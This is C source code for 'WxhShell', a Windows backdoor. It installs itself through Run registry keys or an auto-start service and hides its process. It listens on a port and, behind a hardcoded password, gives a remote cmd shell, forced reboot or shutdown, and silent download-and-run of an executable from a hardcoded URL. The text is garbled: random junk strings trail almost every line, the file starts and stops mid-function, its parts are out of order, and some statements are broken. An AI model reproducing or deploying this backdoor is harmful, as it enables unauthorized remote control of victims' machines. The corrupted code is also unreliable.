    if(Boot(SHUTDOWN)) ItHKpTe r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lo @mQ  
    else { 0@{K'm /  
    closesocket(wsh); X !NH ?0)  
    ExitThread(0); ;2kiEATQ 1  
    } UL$^zR3%d  
    break; "lx}.  
    } o\1"ux;b  
  // 获取shell `Z>4}<~+  
  case 's': { :}FMauHh  
    CmdShell(wsh); . [+ObF9=  
    closesocket(wsh); Y(78qs1w  
    ExitThread(0); 37x2fnC  
    break; d"uR1 rTk  
  } FVT_%"%C9  
  // 退出 ]plg@  
  case 'x': { T/MbEqAf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KQaw*T[Q3w  
    CloseIt(wsh); qbu Lcy3  
    break; #*j  
    } cG6Q$  
  // 离开 1$?O5.X:  
  case 'q': { 5W>i'6*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yp wVzCUG  
    closesocket(wsh); E {4/$}  
    WSACleanup(); prb;q~  
    exit(1); 0!o&=Qh  
    break; cgc| G  
        } $T tCVR  
  } nYY@+%` ]z  
  } \evK.i*KfA  
?Q="w5OOD  
  // 提示信息 O1Ey{2Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $dFEC}1t  
} fxXZ^#2wX  
  } *5hg}[n2  
}I}RqD:`  
  return; {tk42}8k  
} jl{>>TW{x  
-wvrc3F  
// shell模块句柄 0SwWLq  
int CmdShell(SOCKET sock) yDWzsA/X  
{ YU9xANi6  
STARTUPINFO si; 1&ZG6#16q  
ZeroMemory(&si,sizeof(si)); 9(QY~F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HtgVD~[]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P7&a~N$T6W  
PROCESS_INFORMATION ProcessInfo; $L)9'X   
char cmdline[]="cmd"; &7,Kv0j}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R,x\VX!|  
  return 0; y;keOI!  
} 25XD fi75  
I5wf|wB-  
// 自身启动模式 J )oa:Q  
int StartFromService(void) ,u-i9`B  
{ fCJ:QK!  
typedef struct s+2\uMwf*  
{ J1cD)nM<A  
  DWORD ExitStatus; XG@_Lcv*  
  DWORD PebBaseAddress; ]QJLES  
  DWORD AffinityMask; L}P<iB   
  DWORD BasePriority; |F-_YR  
  ULONG UniqueProcessId; [a53H$`\5  
  ULONG InheritedFromUniqueProcessId; ZtlF]k:MV  
}   PROCESS_BASIC_INFORMATION; e]!C Aj7uS  
P+:FiVj@~  
PROCNTQSIP NtQueryInformationProcess; o )GNV  
Q6Vy}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T#DJQ"$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mLd=+&M  
k`62&"T  
  HANDLE             hProcess; ;gc Q9L  
  PROCESS_BASIC_INFORMATION pbi; ib/B!?/  
'vgw>\X(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?y>xC|kt  
  if(NULL == hInst ) return 0; Se9I1~mX  
yeFt0\=H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $u|p(E:*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Smno%jq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <:-|>R".  
#*BcO-N  
  if (!NtQueryInformationProcess) return 0; QKL5! L9`  
J Xo_l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $2A%y14  
  if(!hProcess) return 0; HTao)`.  
@ eqVu g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qf6]qJa|  
L)H7~.Dj  
  CloseHandle(hProcess); IxAKIa[HY  
36` aG Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;+>-uPT/1  
if(hProcess==NULL) return 0; oJ ,t]e*q=  
"[L[*>[9!  
HMODULE hMod; ;Z-xum{  
char procName[255]; 3v :PBmE  
unsigned long cbNeeded; B'"C?d<7  
T;w%-k\<r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RWP`#(&/&  
)}\jbh>RH  
  CloseHandle(hProcess); ;hA>?o_i(  
yw41/jHF  
if(strstr(procName,"services")) return 1; // 以服务启动 R9f*&lj  
- U!:.  
  return 0; // 注册表启动 K%P$#a  
} TFb9gOTJ  
51;V#@CsQ  
// 主模块 X@:pys 8@  
int StartWxhshell(LPSTR lpCmdLine) 1/c7((]7(,  
{ mg[=~&J^  
  SOCKET wsl; PEW^Vl-6q  
BOOL val=TRUE; R!0O[i  
  int port=0; r"x|]nvg^  
  struct sockaddr_in door; }o0R`15dA  
i64a]=  
  if(wscfg.ws_autoins) Install(); *F1!=:&s  
w(U-6uA  
port=atoi(lpCmdLine); a)^f`s^aa  
*>h"}e41  
if(port<=0) port=wscfg.ws_port; /B.\6  
):; &~  
  WSADATA data; 8G; t[9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?DzKqsS'  
x* *]@v"g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cod__.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r0379 _  
  door.sin_family = AF_INET; >0~|iRySi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r&@#,g  
  door.sin_port = htons(port); 75v 5/5zRn  
1q0DOf]!T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RJYuyB  
closesocket(wsl); fdc ?`4  
return 1; 'e^,#L_!o  
} y/k6gl[`  
|'9%vtbM  
  if(listen(wsl,2) == INVALID_SOCKET) { "toyfZq@  
closesocket(wsl); Q#Q]xJH  
return 1; N`1:U 4}  
} >p [|U`>{  
  Wxhshell(wsl); %W~Kx_  
  WSACleanup(); L}UJ`U  
vQ>x5\r5O_  
return 0; 0+jR,5 |  
:CH "cbo  
} ,+-l1GpL  
8u Tq0d6(  
// 以NT服务方式启动 X1?7}VO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =kH7   
{ 3 GmU$w  
DWORD   status = 0; [g`9C!P-G  
  DWORD   specificError = 0xfffffff; X<dQq`kZ  
`CA-s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^\Tde*48  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P +ONQN|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `[3Iz$K=  
  serviceStatus.dwWin32ExitCode     = 0; _U(b  
  serviceStatus.dwServiceSpecificExitCode = 0; 3TVp oB`  
  serviceStatus.dwCheckPoint       = 0; ,l^; ZE  
  serviceStatus.dwWaitHint       = 0; }R4%%)j(Vj  
p \A^kX^5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^2%_AP0=  
  if (hServiceStatusHandle==0) return; :IlRn`9X`  
[* ,k  
status = GetLastError(); j&,,~AZm  
  if (status!=NO_ERROR) A;7p  
{ 7nM]E_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xpCzx=n3.m  
    serviceStatus.dwCheckPoint       = 0; +EjH9;gx  
    serviceStatus.dwWaitHint       = 0; =cI -<0QSn  
    serviceStatus.dwWin32ExitCode     = status; <@6K(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3>Y G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SxMmy  
    return; *yKw@@d+p  
  } A:PQIcR;V  
Wd#r-&!6j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /tR@J8pV  
  serviceStatus.dwCheckPoint       = 0; G8dC5+h  
  serviceStatus.dwWaitHint       = 0; ,e$]jC<sv2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FDBj<uXfM|  
} ts%XjCN[  
c]LE9<G  
// 处理NT服务事件,比如:启动、停止 <wWZ]P 2]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qp3J/(F  
{ 1Z%^U ?  
switch(fdwControl) &?UIe]  
{ -x)Oo`  
case SERVICE_CONTROL_STOP: Xu\FcQ{  
  serviceStatus.dwWin32ExitCode = 0; 12qX[39/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lx _jy>$}r  
  serviceStatus.dwCheckPoint   = 0; vVB8zS~l ,  
  serviceStatus.dwWaitHint     = 0; VM=A#}  
  { uJ<n W%}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lVF}G[B  
  } "#1KO1@G  
  return; e/hA>  
case SERVICE_CONTROL_PAUSE: f'&30lF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]S;^QZ  
  break; tS#=I.ET  
case SERVICE_CONTROL_CONTINUE: &XAG| #  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QY2/mtI  
  break; 29{Ep   
case SERVICE_CONTROL_INTERROGATE: 0,$eiY)u$  
  break; Z Ear~  
}; {=mf/3.r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K"4m)B~@Y  
} Lt`d {s  
#tX\m ;  
// 标准应用程序主函数  h0}r#L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /$ Gp<.z  
{ c1 aCN  
"Kky|(EQ$$  
// 获取操作系统版本 N fe  
OsIsNt=GetOsVer(); v"wxHro  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &j=Fx F9o  
n7-|\p!xP6  
  // 从命令行安装 z H$^.1  
  if(strpbrk(lpCmdLine,"iI")) Install(); jZwv !-:  
/g$cQ=c  
  // 下载执行文件 yF2|w=!  
if(wscfg.ws_downexe) { tg =ClZ-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^w]N#%k\H  
  WinExec(wscfg.ws_filenam,SW_HIDE); yKupPp);  
} pFE&`T@ <  
^6R Sbi\  
if(!OsIsNt) { 1eQfc{[g  
// 如果时win9x,隐藏进程并且设置为注册表启动 rXl ~D!  
HideProc(); 7|$cM7_r  
StartWxhshell(lpCmdLine); #._%~}U  
} .U}"ONd9e  
else R>Q&Ax  
  if(StartFromService()) Ja1[vO"YgP  
  // 以服务方式启动 ;k1 \-  
  StartServiceCtrlDispatcher(DispatchTable); 'dJ#NT25  
else {Yq"%n'0  
  // 普通方式启动 EJC{!06L'/  
  StartWxhshell(lpCmdLine); c%|K x  
Jv_KZDOdk  
return 0; 2XoFmV),F  
} E|R^tETb  
8{DZew /  
f};lH[B3y  
> mI1wV[  
=========================================== dL{zU4iUR  
v9?hcJ=  
R"@J*\;$T  
H}v.0R  
]x)^/ d  
$glt%a  
" 2AYV9egZ  
Ek'~i  
#include <stdio.h> +=.>9  
#include <string.h> hG1\  
#include <windows.h> o8<0#W@S  
#include <winsock2.h> b!(ew`Y;  
#include <winsvc.h> rq#8}T>  
#include <urlmon.h> u7PtGN0r%  
}5_[t9LX  
#pragma comment (lib, "Ws2_32.lib") t2bv nh  
#pragma comment (lib, "urlmon.lib") d_t>  
n*(9:y=l1  
#define MAX_USER   100 // 最大客户端连接数 ~nQ=iB  
#define BUF_SOCK   200 // sock buffer K<k!sh   
#define KEY_BUFF   255 // 输入 buffer dyH<D5  
~H<oqk:O-  
#define REBOOT     0   // 重启 F+ ,eJ/]  
#define SHUTDOWN   1   // 关机 ~yX8p7qr  
1P8XVI'  
#define DEF_PORT   5000 // 监听端口 *[VO03  
QuB`}rfLf  
#define REG_LEN     16   // 注册表键长度 ~rnbuIh  
#define SVC_LEN     80   // NT服务名长度 T"h@-UcTl  
.\Z/j  
// 从dll定义API kHWW\?O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1co;U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R7'6#2y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x}^ :Bs+j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IBP3  
pFB^l|\ ]  
// wxhshell配置信息 cy_'QS$W   
struct WSCFG { j 3/ I =  
  int ws_port;         // 监听端口 s&Bk@a8  
  char ws_passstr[REG_LEN]; // 口令 ^nO0/nqz]  
  int ws_autoins;       // 安装标记, 1=yes 0=no xi+bBqg<.K  
  char ws_regname[REG_LEN]; // 注册表键名 N@qP}/}8  
  char ws_svcname[REG_LEN]; // 服务名 <@F.qMl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bQ%6z}r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \,n|V3#G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T[?wbYfW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uz4!O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;`")3~M3*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3/?^d;=  
)GT*HJR(vc  
}; qG lbO  
.Iu8bN(L`  
// default Wxhshell configuration ~mSW.jy}=-  
struct WSCFG wscfg={DEF_PORT, R #f*QXv  
    "xuhuanlingzhe", n'?AZ4&z  
    1, j\I{pW-  
    "Wxhshell", =D>,s)}o3;  
    "Wxhshell", ol[sX=5 *  
            "WxhShell Service", ul@swp  
    "Wrsky Windows CmdShell Service", `j#zwgUs  
    "Please Input Your Password: ", :D|5E>o(  
  1, cVV@MC  
  "http://www.wrsky.com/wxhshell.exe", kA.U2  
  "Wxhshell.exe" "=0(a)01p:  
    }; ?IN'Dc9&%-  
R^p'gQc$   
// 消息定义模块 \X*Es.;|x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p&s~O,Bw$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TmS-w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4Eri]O Ri  
char *msg_ws_ext="\n\rExit."; &g;&=<#I  
char *msg_ws_end="\n\rQuit."; I>bO<T`  
char *msg_ws_boot="\n\rReboot..."; qsT@aSIo9  
char *msg_ws_poff="\n\rShutdown..."; /VmtQ{KTt+  
char *msg_ws_down="\n\rSave to "; ~cf*Oq  
^cz4nW<  
char *msg_ws_err="\n\rErr!"; A,'F`au  
char *msg_ws_ok="\n\rOK!"; 2@Nt6r  
"  jBc5*  
char ExeFile[MAX_PATH]; u?Uu>9@Z  
int nUser = 0; )X2 /_3  
HANDLE handles[MAX_USER]; +GYO<N7  
int OsIsNt; ,J$XVvwxF  
**G5fS.^W  
SERVICE_STATUS       serviceStatus; `iQ])C^d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B,5kG{2!  
a23XrX  
// 函数声明 *HONA>u   
int Install(void); UR|Au'iu  
int Uninstall(void); FHK{cE  
int DownloadFile(char *sURL, SOCKET wsh); A3 uF 0A  
int Boot(int flag); cb3Q{.-.#  
void HideProc(void); %&5PZmnW  
int GetOsVer(void); /g]NC?  
int Wxhshell(SOCKET wsl); IDY2X+C#U  
void TalkWithClient(void *cs); 3 0.&Lzz  
int CmdShell(SOCKET sock); 6"L,#aKm^  
int StartFromService(void); "*bP @W  
int StartWxhshell(LPSTR lpCmdLine); o#Viz:  
u]z87#4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PY@BgL=/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5Ic'6AIz  
@* <`*W  
// 数据结构和表定义 'PqKb%B|  
SERVICE_TABLE_ENTRY DispatchTable[] = M*-]<!))7  
{ +:_;K_h  
{wscfg.ws_svcname, NTServiceMain}, KXiStwS  
{NULL, NULL} 0'g e}2^  
}; KSYHG  
W%wc@.P  
// 自我安装 U^;|as  
int Install(void) )z_5I (?&  
{ <\'aUfF v  
  char svExeFile[MAX_PATH]; QPyHos `  
  HKEY key; *'n L[]  
  strcpy(svExeFile,ExeFile); .WVIdVO7  
r [E4/?_  
// 如果是win9x系统,修改注册表设为自启动 wVmQE  
if(!OsIsNt) { ?Q[b1:;Lm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xE5VXYU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ri1;i= W  
  RegCloseKey(key); edL sn>\*#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vo;0i$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tu slkOE#  
  RegCloseKey(key); O>LqpZ  
  return 0; KIGMWS^^  
    } 0F%/R^mw  
  } [9;[g~;E%m  
} o}=c (u  
else { D=jtXQF  
0B]c`$"aD  
// 如果是NT以上系统,安装为系统服务 rNoCmNm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?dy t!>C  
if (schSCManager!=0) 4[ *G  
{ 5 D <  
  SC_HANDLE schService = CreateService MAc jWb~ f  
  ( ~='}(Fg:  
  schSCManager, v[\Z^pccgj  
  wscfg.ws_svcname, Y M,UM>  
  wscfg.ws_svcdisp, bcYGkvGbO  
  SERVICE_ALL_ACCESS, _)Ad%LPsd7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2[CHiB*>  
  SERVICE_AUTO_START, rM`z2*7%d  
  SERVICE_ERROR_NORMAL, H-qbgd6&>R  
  svExeFile, jfU$qo!gi  
  NULL, 717OzrF}A?  
  NULL, j 6dlAe  
  NULL, wD92Ava   
  NULL, "#.L\p{Zy  
  NULL f%/6kz  
  ); Rjn%<R2nW  
  if (schService!=0) !q1XyQX  
  { E^B3MyS^^  
  CloseServiceHandle(schService); ) S-Fuq4i4  
  CloseServiceHandle(schSCManager); :0kKw=p1R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fu>;hx]s  
  strcat(svExeFile,wscfg.ws_svcname); T[- %b9h>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;qs^+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (7C$'T-ZK  
  RegCloseKey(key); p+;;01Z+_  
  return 0; 5Y>fVq{U?;  
    } b(~#CHg  
  } -HvJ&O.V$  
  CloseServiceHandle(schSCManager); o]B2^Yq;x  
} 6Z5$cR_vC7  
} TMD*-wYr  
uBw[|,yn2*  
return 1; c27Zh=;Tj  
} F8&L'@m9>  
@o6!  
// 自我卸载 i(YR-vYK  
int Uninstall(void) ?L"x>$  
{ -Dwe,N"{2  
  HKEY key; {8556>\~  
ybv]wBpM:  
if(!OsIsNt) { >@EwfM4[e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }_D{|! !!T  
  RegDeleteValue(key,wscfg.ws_regname); &MBm1T|Y  
  RegCloseKey(key); F$S/zh$)0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y]g5S-G  
  RegDeleteValue(key,wscfg.ws_regname); `( 'NH]^  
  RegCloseKey(key); l%qfaU2  
  return 0; Ckhw d  
  } AZ SaI  
} ,x utI  
} MhjIE<OI=  
else { X([@}ren  
75iudki  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {<zE}7/2-  
if (schSCManager!=0) wj8\eK)]L  
{ BkB9u&s^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PHMp, z8  
  if (schService!=0) !1mAq+q!  
  { . |`)k  
  if(DeleteService(schService)!=0) { p2gu@!   
  CloseServiceHandle(schService); 0zk054F'  
  CloseServiceHandle(schSCManager); H'I5LYsXO~  
  return 0; hVdGxT]6  
  } ?lm<)y?I7+  
  CloseServiceHandle(schService); orFB*{/Z  
  } Z ZT2c0AK  
  CloseServiceHandle(schSCManager); Ch]q:o4  
} = gcZRoL  
} F.D6O[pZ  
}OSfC~5P  
return 1; G+WCE*  
} /U>8vV+C  
Ls*Vz,3!5  
// 从指定url下载文件 m/WDJ$d  
int DownloadFile(char *sURL, SOCKET wsh) !lKDNQ8>["  
{ qv`:o `  
  HRESULT hr; &{8[I3#@  
char seps[]= "/"; ^y~oXS(  
char *token; I]B9+Z?xo  
char *file; _k5$.f:Yj<  
char myURL[MAX_PATH]; iig&O(,  
char myFILE[MAX_PATH]; dB Hki*.u  
Is97>aid  
strcpy(myURL,sURL); UJ`%uLR~  
  token=strtok(myURL,seps); sA }X)aP  
  while(token!=NULL) Cyud)BZvm  
  { G }M!  
    file=token; \rCdsN2H  
  token=strtok(NULL,seps); n&8N`!^o  
  } S;BMM8U  
nb@<UbabW}  
GetCurrentDirectory(MAX_PATH,myFILE); ZRUAw,T*  
strcat(myFILE, "\\"); 4VzSqb  
strcat(myFILE, file); tfv@ )9  
  send(wsh,myFILE,strlen(myFILE),0); fVq,?  
send(wsh,"...",3,0); XX *f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0qBXL;sE  
  if(hr==S_OK) x!onan  
return 0; .>'J ^^  
else %Ip=3($Ku[  
return 1; Q8DKU  
`U;V-  
} TSsx^h8/  
"?YpF2pD  
// 系统电源模块 'IER9%V$  
int Boot(int flag) wDs#1`uTq  
{ ~'):1}KN]  
  HANDLE hToken; 'v@1_HHW\  
  TOKEN_PRIVILEGES tkp; ;e~K<vMm;y  
& aF'IJC  
  if(OsIsNt) { dTVM !=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jw]IpGTt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,7e 2M@=  
    tkp.PrivilegeCount = 1; 'eoI~*}3WQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y C}$O2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RHq r-%  
if(flag==REBOOT) { s3M#ua#mX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sk. rJ  
  return 0; _"'-f l98*  
} H/ub=,Ej*  
else { (7v`5|'0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T f^O(  
  return 0; 16I(S  
} B^1Io9  
  } GF Rd:e  
  else { _j<,qi  
if(flag==REBOOT) { ,qlFk|A|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tWdP5vfp  
  return 0; QpifO  
} Zn'y"@%t[  
else { T0}P 'q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~0n9In%  
  return 0; Jaf=qwZ/`  
} j0jam:.p  
} PvdR)ZE m  
!Jo.Un7  
return 1; *Xd_=@L&B  
} 14\!FCe)!  
o-t!z'\lO  
// win9x进程隐藏模块 . LNqU#a  
void HideProc(void) D%.<} vG  
{ 5{6ebq55"  
1'* {Vm M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xgm9>/y  
  if ( hKernel != NULL ) ;:gx;'dm5  
  { vGPaWYV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )5bdWJ>l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ,#-^  
    FreeLibrary(hKernel); ZZ6F0FLXJ  
  } 9$'Edi=6  
=j~}];I  
return; iAW oKW  
} sfNAGez  
BcoE&I?[m|  
// 获取操作系统版本 <kor;exeJ  
int GetOsVer(void) %u|qAF2uS  
{ ~LzTqMHM  
  OSVERSIONINFO winfo; k)USLA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r,dxW5v.  
  GetVersionEx(&winfo); ^A$~8?f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^SRa!8z$W  
  return 1; ihhnB  
  else E0S[TEDa]  
  return 0; sw &sF  
} l@YpgyqaL  
#$%gs]  
// 客户端句柄模块 Wkv **X}  
int Wxhshell(SOCKET wsl) Afa{f}st  
{ JXnPKAN  
  SOCKET wsh; O^gq\X4}  
  struct sockaddr_in client; PZl(S}VY  
  DWORD myID; =U".L  
u]c nbm  
  while(nUser<MAX_USER) UoxF00H@!  
{ s ^{j  
  int nSize=sizeof(client); 9~mi[l~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `0Q:d'  
  if(wsh==INVALID_SOCKET) return 1; 7+u%]D!  
;7<a0HZ5!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j|(bDa4\  
if(handles[nUser]==0) ArU>./)Q  
  closesocket(wsh); \9k{"4jX\  
else Xl*-A|:j  
  nUser++; ig/716r|  
  } Gb \ 7W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sb[rSczS~  
@;,O V&XYn  
  return 0; jIc;jjAF  
} zFuUv_t  
~K],hi^<P  
// 关闭 socket 9e :E% 2  
void CloseIt(SOCKET wsh) (*fsv g~  
{ MgMLfgt"V  
closesocket(wsh); L{fP_DIa  
nUser--; UmgLH Cz  
ExitThread(0); gkk< -j'  
} 8h20*@wSN  
::T<de7  
// 客户端请求句柄 6eK^T=  
void TalkWithClient(void *cs) e#HP+b$  
{ [Iihk5TT  
L kq>>?T=  
  SOCKET wsh=(SOCKET)cs; (Fgt#H(B  
  char pwd[SVC_LEN]; Nyqm0C6m^  
  char cmd[KEY_BUFF]; X)f"`$  
char chr[1]; |f?C*t',  
int i,j; *u{.K:.I  
g&E_|}u4  
  while (nUser < MAX_USER) { M9OFK\)  
T*T.\b  
if(wscfg.ws_passstr) { 0RSa{iS*A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4!}fCP ty  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >6DY3\  
  //ZeroMemory(pwd,KEY_BUFF); hy)RV=X  
      i=0; nG%j4r ;  
  while(i<SVC_LEN) { VD#^Xy4% r  
!d0@^JbM"  
  // 设置超时 l*m|b""].u  
  fd_set FdRead; ToJru  
  struct timeval TimeOut; VD3[ko  
  FD_ZERO(&FdRead); S~Hj. d4/  
  FD_SET(wsh,&FdRead); $^0YK|F  
  TimeOut.tv_sec=8; Csc2yI%3  
  TimeOut.tv_usec=0; 1aT$07G0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sTqB%$K}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "DN`@  
3CHte*NL=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U;q)01  
  pwd=chr[0]; 'Lw\n O.  
  if(chr[0]==0xd || chr[0]==0xa) {  zm.2L  
  pwd=0; 86I*  
  break; Hf-F-~E  
  } (_08?cN  
  i++; `WW0~Tp3  
    } }I`|*6Up  
Elq8WtS  
  // 如果是非法用户,关闭 socket 4QVd{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cp* n2  
} 8Z!ea3kAT  
K/,lw~>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Le'\x`B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j&mL]'Zy  
PYf`a`dH  
while(1) { A{o{o++  
v: 0i5h&M  
  ZeroMemory(cmd,KEY_BUFF); ]1[;A$7  
g:clSN,  
      // 自动支持客户端 telnet标准   '~cEdGD9H  
  j=0; V V4_  
  while(j<KEY_BUFF) { >lW*%{|b$^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J@TM>R  
  cmd[j]=chr[0]; 3*TS 4xX  
  if(chr[0]==0xa || chr[0]==0xd) { e4b~s  
  cmd[j]=0; DRIv<=Bt  
  break; R`&ioRWj  
  } J?<L8;$s7  
  j++; u~kwNN9t3  
    } eBV{B70k  
7| T:TbY>  
  // 下载文件 i=a LC*@  
  if(strstr(cmd,"http://")) { @6!JW(,]\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <<1oc{i  
  if(DownloadFile(cmd,wsh)) =KZ4:d5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vel;t<1  
  else $S}x'F!4_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZkJM?Fzq  
  } z>:7}=H0  
  else { \d+HYLAJn  
bH{aI:9Fb  
